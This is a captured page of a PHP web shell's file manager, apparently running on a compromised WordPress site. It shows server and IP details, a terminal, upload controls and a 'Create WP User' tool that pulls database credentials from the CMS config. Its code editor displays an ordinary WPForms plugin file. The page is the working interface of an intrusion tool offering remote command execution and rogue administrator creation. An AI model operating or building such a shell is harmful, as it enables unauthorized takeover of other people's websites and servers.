Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat_30102025
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
AI
/
API
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
Http
[目录]
drwxr-xr-x
2025-04-10 14:57
API.php
2.12 KB
-rw-r--r--
2025-04-10 14:57
Choices.php
1.30 KB
-rw-r--r--
2025-04-10 14:57
Forms.php
11.39 KB
-rw-r--r--
2025-04-10 14:57
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
Choices.php
<?php namespace WPForms\Integrations\AI\API; use WPForms\Integrations\AI\Helpers; /** * Choices class. * * @since 1.9.1 */ class Choices extends API { /** * Get choices from the API. * * @since 1.9.1 * * @param string $prompt Prompt to get choices for. * @param string $session_id Session ID. * * @return array */ public function choices( string $prompt, string $session_id = '' ): array { $args = [ 'userPrompt' => $this->prepare_prompt( $prompt ), 'limit' => $this->get_limit(), ]; if ( ! empty( $session_id ) ) { $args['sessionId'] = $session_id; } $endpoint = '/ai-choices'; $response = $this->request->post( $endpoint, $args ); if ( $response->has_errors() ) { $error_data = $response->get_error_data(); Helpers::log_error( $response->get_log_message( $error_data ), $endpoint, $args ); return $error_data; } $result = $response->get_body(); // Limit the number of choices. // In some cases, the API may return more choices than requested. $choices = array_slice( $result['choices'], 0, $this->get_limit() ); // Remove numeration from choices. $choices = array_map( static function ( $choice ) { return preg_replace( '/^\d+\.\s+/', '', $choice ); }, $choices ); $result['choices'] = $choices; return $result; } }
关闭
保存